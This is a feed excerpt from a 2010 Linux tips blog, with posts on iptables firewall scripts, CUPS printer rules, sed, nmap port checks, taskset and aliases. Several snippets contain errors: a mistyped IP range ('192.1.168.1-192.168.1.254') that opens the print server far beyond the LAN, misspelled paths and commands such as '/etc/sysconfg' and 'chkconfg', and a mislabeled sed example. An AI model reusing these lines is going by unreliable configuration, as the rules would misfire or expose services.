ACCEPT&lt;br /&gt;#For allowing ssh to whole world, can create security problem&lt;br /&gt;# always allow to a particular ip. &lt;br /&gt;$IPTABLES -A SERV -p tcp --dport  22 -j ACCEPT&lt;br /&gt;#Limiting the printer Access to local LAN&lt;br /&gt;$IPTABLES -A SERV -m iprange --src-range 192.1.168.1-192.168.1.254 -p tcp --dport 631 -j ACCEPT&lt;br /&gt;$IPTABLES -A SERV -m iprange --src-range 192.1.168.1-192.168.1.254 -p udp --dport 631 -j ACCEPT&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Port 631 is standard port for CUPS print server. The rules appended  will allow incoming packets meant for CUPS print server from all systems within the LAN, debarring the access to print server from outside.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-6669430655809535043?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/6669430655809535043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-iptables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6669430655809535043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6669430655809535043'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-iptables.html' title='Enhance Linuxbox Security : Iptables Printer Rules to Limit Access to Local LAN.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_aCbewboCjBM/TRy6Mtxnf4I/AAAAAAAAANE/SFuBW8aY024/s72-c/top.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-8992302592834591872</id><published>2010-12-30T20:50:00.000+05:30</published><updated>2010-12-30T20:50:26.561+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Iptables'/><category scheme='http://www.blogger.com/atom/ns#' term='Iptable Custom Chain'/><title type='text'>Enhance Linuxbox Security : Creating a Custom Chain in Iptables</title><content type='html'>Read this &lt;a href="http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-basic.html"&gt;post&lt;/a&gt; before proceeding as it contains simple basic firewall configuration file. &lt;br /&gt;We can customize the flow of rules in iptables by creating new custom chains. The flow of rules in iptables follows the sequence of their execution.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_aCbewboCjBM/TRybbOcbycI/AAAAAAAAAM8/OPDJX98mz1Q/s1600/CC.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://4.bp.blogspot.com/_aCbewboCjBM/TRybbOcbycI/AAAAAAAAAM8/OPDJX98mz1Q/s320/CC.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;To create a custom chain issue this command:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;iptables -N SERV&lt;/pre&gt;&lt;br /&gt;Now, you have to create rules for this chain. Creating new chain just acts like a function in C programs. To call the new chain you have to execute this command.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;iptables -A INPUT -j SERV&lt;/pre&gt;&lt;br /&gt;Now, you have to append the original firewall.sh iptables configuration file, posted in this &lt;a href="http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-basic.html"&gt;post&lt;/a&gt;. &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 300px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#!/bin/bash&lt;br /&gt;# please verify if the Source Address Verifcation in /etc/sysctl.conf is enabled: &lt;br /&gt;#net.ipv4.conf.all.rp_flter = 1&lt;br /&gt;# Define some variables&lt;br /&gt;# Location of the binaries&lt;br /&gt;IPTABLES="/sbin/iptables"&lt;br /&gt;# Loopback Interface&lt;br /&gt;LOOPBACK="lo" &lt;br /&gt;## Flush all rules&lt;br /&gt;$IPTABLES -F&lt;br /&gt;&lt;br /&gt;## Set default policies&lt;br /&gt;$IPTABLES -P INPUT DROP&lt;br /&gt;$IPTABLES -P OUTPUT ACCEPT&lt;br /&gt;$IPTABLES -P FORWARD DROP&lt;br /&gt;# Creating a custom chain SERV. &lt;br /&gt;$IPTABLES -N SERV&lt;br /&gt;&lt;br /&gt;## Allow access to the Loopback host, so that you can ping yourself&lt;br /&gt;$IPTABLES -A INPUT -i $LOOPBACK -j ACCEPT&lt;br /&gt;$IPTABLES -A OUTPUT -o $LOOPBACK -j ACCEPT&lt;br /&gt;&lt;br /&gt;## Incoming external traffic rules &lt;br /&gt;# Accept ICMP echo-replay incoming traffic for outgoing PINGs, so that when you &lt;br /&gt;# ping other pc your pc don't drop the echo-reply &amp;amp; you can detect alive coms.   &lt;br /&gt;$IPTABLES -A INPUT  -p icmp --icmp-type echo-reply -j ACCEPT&lt;br /&gt;#calling custom chain&lt;br /&gt;$IPTABLES -A INPUT -j SERV&lt;br /&gt;&lt;br /&gt;## Accept all established incoming traffic&lt;br /&gt;$IPTABLES -A INPUT  -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;## Log all dropped incoming traffic&lt;br /&gt;$IPTABLES -A INPUT -j LOG -log-prefix="myLogInput:"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;##Rules in custom chain that will be executed when called.  &lt;br /&gt;#Accepting communication at specific ports. Use command netstat --inet -pln . &lt;br /&gt;# If firefox is running on #8008&lt;br /&gt;$IPTABLES -A SERV -p tcp --dport  8008 -j ACCEPT&lt;br /&gt;#For allowing ssh to whole world, can create security problem&lt;br /&gt;# always allow to a particular ip. &lt;br /&gt;$IPTABLES -A SERV -p tcp --dport  22 -j ACCEPT&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-8992302592834591872?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/8992302592834591872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-creating.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8992302592834591872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/8992302592834591872'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-creating.html' title='Enhance Linuxbox Security : Creating a Custom Chain in Iptables'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_aCbewboCjBM/TRybbOcbycI/AAAAAAAAAM8/OPDJX98mz1Q/s72-c/CC.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-7788441936571804076</id><published>2010-12-29T14:20:00.000+05:30</published><updated>2010-12-29T14:20:10.866+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Linux Amazing Keypresses &amp; Commands : Set 5</title><content type='html'>&lt;ul&gt;&lt;li&gt;By default in Bash shell pressing Ctrl+D will exit the current shell . To prevent it you can add  the following line in ~/.bashrc:&lt;/li&gt;&lt;/ul&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;export IGNOREEOF=1&lt;br /&gt;&lt;/pre&gt;And then source the file to read it again:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;source ~/.bashrc&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;sed is a non-interactive command line stream editor, used  to perform various forms of text transformations on an input stream. It reads input files line by line and applies the  operation specified via the command line.&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;For replacing the first occurrence of a string (india) with another string (India) in a file.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#sed -i ‘s/india/India/’ file_name &lt;/pre&gt;For replacing the first occurrence of a string (india) with another string (India) in a file.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#sed -i ‘s/india/India/g’ file_name &lt;/pre&gt;s stands for substitute, g stands for global.&lt;br /&gt;For creating a new file with the above changes.&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#sed -e ‘s/india/India/g’ file1 &amp;gt; file2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Closing a vulnerable port on your system, you have to install nmap first to check which ports are open:&lt;/li&gt;&lt;/ul&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#nmap localhost &lt;/pre&gt;This will output open ports and the protocol using them. To close port 80 on tcp (for http) , execute the commad as root:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#fuser -k 80/tcp&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To count no. of lines, words &amp;amp; characters in a file, use this command&lt;/li&gt;&lt;/ul&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#wc -lwc file_name&lt;/pre&gt;It is a handy command when we need to customize output.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-7788441936571804076?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/7788441936571804076/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/linux-amazing-keypresses-commands-set-5_29.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7788441936571804076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/7788441936571804076'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/linux-amazing-keypresses-commands-set-5_29.html' title='Linux Amazing Keypresses &amp; Commands : Set 5'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-2694999894312010192</id><published>2010-12-28T23:25:00.004+05:30</published><updated>2010-12-28T23:28:02.411+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Outstanding Linux Distros'/><category scheme='http://www.blogger.com/atom/ns#' term='Fedora'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Fuduntu'/><title type='text'>Fuduntu = [Fedora + Ubuntu]</title><content type='html'>&lt;a href="http://www.fuduntu.org/"&gt;Fuduntu&lt;/a&gt; is a perfect distro for those users who hate RedHat due to its complexities &amp;amp; less user friendliness. It is a distro developed to bridge the gap between Fedora &amp;amp; Ubuntu. It is a Fedora remix optimized for Netbook and other portable computers &amp;amp; may be regarded as the most attractive cousin of RedHat. Fedora mainly focuses on developers perspective whereas Ubuntu focuses on end user experience. Distros like Mint, Ubuntu are well versed with user needs &amp;amp; append it’s apps, but Fedora lacks such schemes. These are the pitfalls which are mainly taken care of in Fuduntu. Although, it’s in an incipient stage now, it has a good collection of default packages. It also needs to focus more on user needs.   &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Features&lt;br /&gt;• Intended to be reasonably sized, yet have a sane software set by default&lt;br /&gt;• Intended to be tweaked for performance out of the box&lt;br /&gt;• Intended to be tuned for battery life out of the box&lt;br /&gt;• Fuduntu specific updates hosted in the signed Fuduntu repo&lt;br /&gt;• Leverages Fedora updates and release cycle for upstream patches&lt;br /&gt;• Point release ISOs updated often for convenience to new Fuduntu users&lt;br /&gt;&lt;br /&gt;Some of the tweaks found in Fuduntu:&lt;br /&gt;&lt;br /&gt;• BFS task scheduler&lt;br /&gt;• Deadline IO scheduler&lt;br /&gt;• /tmp and /var/log moved to RAM disk&lt;br /&gt;• Swappiness reduced to 10&lt;br /&gt;• Jupiter for power savings&lt;br /&gt;• Gnome default desktop tweaks&lt;br /&gt;• Gnome Terminal color tweaks&lt;br /&gt;&lt;br /&gt;A few of the default packages found in Fuduntu:&lt;br /&gt;&lt;br /&gt;• Adobe Flash&lt;br /&gt;• Fluendo MP3 Codec&lt;br /&gt;• Infinality Freetype&lt;br /&gt;• Nautilus Elementary&lt;br /&gt;• OpenOffice&lt;br /&gt;• Thunderbird&lt;br /&gt;• GIMP&lt;br /&gt;• Jupiter&lt;br /&gt;• VIM Enhanced&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Project Page -&amp;gt; &lt;a href="http://sourceforge.net/projects/fuduntu/"&gt;http://sourceforge.net/projects/fuduntu/&lt;/a&gt;&lt;br /&gt;Torrents link:&lt;br /&gt;Torrent (Fuduntu 32 bit): &lt;a href="http://linuxtracker.org/index.php?page=torrent-details&amp;amp;id=692a7a8f4b7132a71012eba90d6e61213726ace6"&gt;Linux Tracker&lt;/a&gt;&lt;br /&gt;Torrent (Fuduntu 64 bit): &lt;a href="http://linuxtracker.org/index.php?page=torrent-details&amp;amp;id=8cfc07f67fee72efa39499271a10f36c6913f210"&gt;Linux Tracker&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-2694999894312010192?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/2694999894312010192/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/fuduntu-fedora-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2694999894312010192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/2694999894312010192'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/fuduntu-fedora-ubuntu.html' title='Fuduntu = [Fedora + Ubuntu]'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-1259454898609545959</id><published>2010-12-25T19:07:00.002+05:30</published><updated>2011-12-03T19:34:43.954+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='Enhance Linuxbox Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Iptables'/><title type='text'>Enhance Linuxbox Security : Basic Iptables Firewall Configuration</title><content type='html'>If you are not familiar with Iptables, read this posts first. &lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables.html"&gt;http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables_30.html"&gt;http://linux-techy.blogspot.com/2010/04/enhance-linux-box-security-iptables_30.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables.html"&gt;http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_27.html"&gt;http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_27.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_2179.html"&gt;http://linux-techy.blogspot.com/2010/06/enhance-linux-box-security-iptables_2179.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-know-all.html"&gt;http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-know-all.html&lt;/a&gt;&lt;br /&gt;&amp;nbsp;In this post, I have tried to build a simple &amp;amp; basic iptables firewall for filtering the outside traffic.&amp;nbsp; I’m going to create a simple shell script&amp;nbsp; which is independent to the topology of network. Later on we will add complexity to the file as per the need &amp;amp; topology. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;It should be executed on startup.&amp;nbsp; Create a file named firewall.sh &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 300px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#!/bin/bash&lt;br /&gt;# please verify if the Source Address Verifcation in /etc/sysctl.conf is enabled: &lt;br /&gt;#net.ipv4.conf.all.rp_flter = 1&lt;br /&gt;# Define some variables&lt;br /&gt;# Location of the binaries&lt;br /&gt;IPTABLES="/sbin/iptables"&lt;br /&gt;# Loopback Interface&lt;br /&gt;LOOPBACK="lo" &lt;br /&gt;# Flush all rules&lt;br /&gt;$IPTABLES -F&lt;br /&gt;# Set default policies&lt;br /&gt;$IPTABLES -P INPUT DROP&lt;br /&gt;$IPTABLES -P OUTPUT ACCEPT&lt;br /&gt;$IPTABLES -P FORWARD DROP&lt;br /&gt;# Allow access to the Loopback host, so that you can ping yourself&lt;br /&gt;$IPTABLES -A INPUT -i $LOOPBACK -j ACCEPT&lt;br /&gt;$IPTABLES -A OUTPUT -o $LOOPBACK -j ACCEPT&lt;br /&gt;# Incoming external traffic rules &lt;br /&gt;# Accept ICMP echo-replay incoming traffic for outgoing PINGs, so that when you &lt;br /&gt;# ping other pc your pc don't drop the echo-reply &amp;amp; you can detect alive coms.   &lt;br /&gt;$IPTABLES -A INPUT  -p icmp --icmp-type echo-reply -j ACCEPT&lt;br /&gt;#Accepting communication at specific ports. Use command netstat --inet -pln . &lt;br /&gt;# If firefox is running on #8008&lt;br /&gt;$IPTABLES -A INPUT -p tcp --dport&amp;nbsp; 8008 -j ACCEPT&lt;br /&gt;#For allowing ssh to whole world, can create security problem&lt;br /&gt;# always allow to a particular ip. &lt;br /&gt;$IPTABLES -A INPUT -p tcp --dport&amp;nbsp; 22 -j ACCEPT&lt;br /&gt;&amp;nbsp;# Accept all established incoming traffic&lt;br /&gt;$IPTABLES -A INPUT&amp;nbsp; -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT&lt;br /&gt;# Log all dropped incoming traffic&lt;br /&gt;# iptables -A INPUT -j LOG -log-prefix="myLogInput:"&lt;br /&gt;&lt;/pre&gt;The sequence of rules defines the way in which they are executed. Therefore the sequencing the rules in a correct way is&amp;nbsp; important.&amp;nbsp; &lt;br /&gt;If you want to display all the blocked packets from the INPUT chain, type the following command:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# cat /var/log/syslog | grep "myLogInput:" &lt;/pre&gt;Finally, you can save the firewall configuration with the following command:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# iptables-save &amp;gt; /etc/sysconfg/iptables &lt;/pre&gt;And then you can make your firewall configuration bootable with the following command:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;# chkconfg iptables on&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We will further append new rules at the end of this file as per our need &amp;amp; condition. We will discuss those in upcoming posts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-1259454898609545959?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/1259454898609545959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-basic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1259454898609545959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1259454898609545959'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/enhance-linuxbox-security-basic.html' title='Enhance Linuxbox Security : Basic Iptables Firewall Configuration'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-4555740928572435100</id><published>2010-12-23T17:11:00.000+05:30</published><updated>2011-12-03T19:32:28.864+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Taskset'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Prioritize processes using Taskset</title><content type='html'>Almost every system has multiprocessors nowadays. You may require to run a process using 1 CPU or multiple CPUs. This functionality can be used by installing taskset.&lt;br /&gt;Let's say you want to run firefox using one CPU. You'd run something like this:  &lt;br /&gt;&lt;pre&gt;taskset 0x00000001 firefox&lt;/pre&gt;&lt;pre&gt;For allowing firefox to use 2 CPUs replace 0x00000001 with 0x00000003&lt;/pre&gt;&lt;pre&gt;For allowing firefox to use all CPUs replace 0x00000001 with 0xFFFFFFFF&lt;/pre&gt;&lt;pre&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/pre&gt;Taskset is really helpful when you want to put a limit on less important process, so that your important processes don't hang up while working&amp;nbsp; &lt;br /&gt;Command Format:&lt;br /&gt;taskset -p [mask] [pid]&lt;br /&gt;Options&lt;br /&gt;-p, --pid&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; operate on an existing PID and not launch a new task &lt;br /&gt;-c, --cpu-list&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; specifiy a numerical list of processors instead of a bitmask. The list may contain multiple items, separated by comma, and ranges. For example, 0,5,7,9-11. &lt;br /&gt;-h, --help&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; display usage information and exit &lt;br /&gt;-V, --version&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; output version information and exit&lt;br /&gt;Mask: specifies CPUs assigned. values: 0x00000001,&amp;nbsp; 0x00000003,&amp;nbsp; 0xFFFFFFFF&lt;br /&gt;&lt;dl compact="compact"&gt;&lt;dt&gt;You can also retrieve the CPU affinity of an existing task: &lt;/dt&gt;&lt;dd&gt;taskset -p [pid] &lt;/dd&gt;&lt;/dl&gt;References:&lt;br /&gt;&lt;a href="http://linux.die.net/man/1/taskset"&gt;http://linux.die.net/man/1/taskset&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.serverwatch.com/tutorials/article.php/3915931/Using-Taskset-for-Priority-Tasks.htm"&gt;http://www.serverwatch.com/tutorials/article.php/3915931/Using-Taskset-for-Priority-Tasks.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-4555740928572435100?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/4555740928572435100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/prioritize-processes-using-taskset.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/4555740928572435100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/4555740928572435100'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/prioritize-processes-using-taskset.html' title='Prioritize processes using Taskset'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-8690892458970470853</id><published>2010-12-19T17:54:00.000+05:30</published><updated>2010-12-19T17:54:36.681+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><category scheme='http://www.blogger.com/atom/ns#' term='alias'/><title type='text'>Working With Alias</title><content type='html'>In Linux, we are provided with a cool tool that can create new shortened command for a&amp;nbsp; given command. It is called alias. That is, it allows a user to create simple names or abbreviations (even  consisting of just a single character) for commands regardless of how  complex the original commands are and then use them in the same way that  ordinary commands are used. The alias command is built into a number of shells including &lt;i&gt;ash&lt;/i&gt;, &lt;i&gt;bash&lt;/i&gt; (the default shell on most &lt;a href="http://www.linfo.org/linuxdef.html"&gt;Linux&lt;/a&gt; systems), &lt;i&gt;csh&lt;/i&gt; and &lt;i&gt;ksh&lt;/i&gt;.To create alias type the command:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;#alias &lt;alias_name&gt; &lt;command&gt;&lt;/command&gt;&lt;/alias_name&gt;&lt;/pre&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;Eg.#alias dir="ls" &lt;/pre&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;When we create the alias, the original command will still work. &lt;br /&gt;&lt;br /&gt;Simply typing alias will list all the created aliases. To remove alias type:   &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;unalias dir&lt;/pre&gt;To remove all aliases type:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;unalias -a&lt;/pre&gt;Using the command alias will create alias for only current session &amp;amp; current user. Once you log off, all your aliases will be reset. &lt;br /&gt;&lt;br /&gt;To create permanent aliases, you have to append the file .bashrc in the user directory (for root -&amp;gt; /root/.bashrc ; for other users -&amp;gt; /home/user/.bashrc). System-wide aliases can be put in the /etc/bashrc file. The system needs to be restarted before system-wide aliases can take effect.  &lt;br /&gt;Go to the directory of user &amp;amp; type 'ls -a' to see hidden files. Note that file name starting with (.) are hidden in Linux.&lt;br /&gt;Open the file in vi/gedit &amp;amp; type the new lines at the end of file like this:&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 45px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;alias internet='sudo ifconfig' &lt;br /&gt;alias p='pwd' &lt;br /&gt;alias install='sudo apt-get -y install' &lt;br /&gt;alias remove='sudo 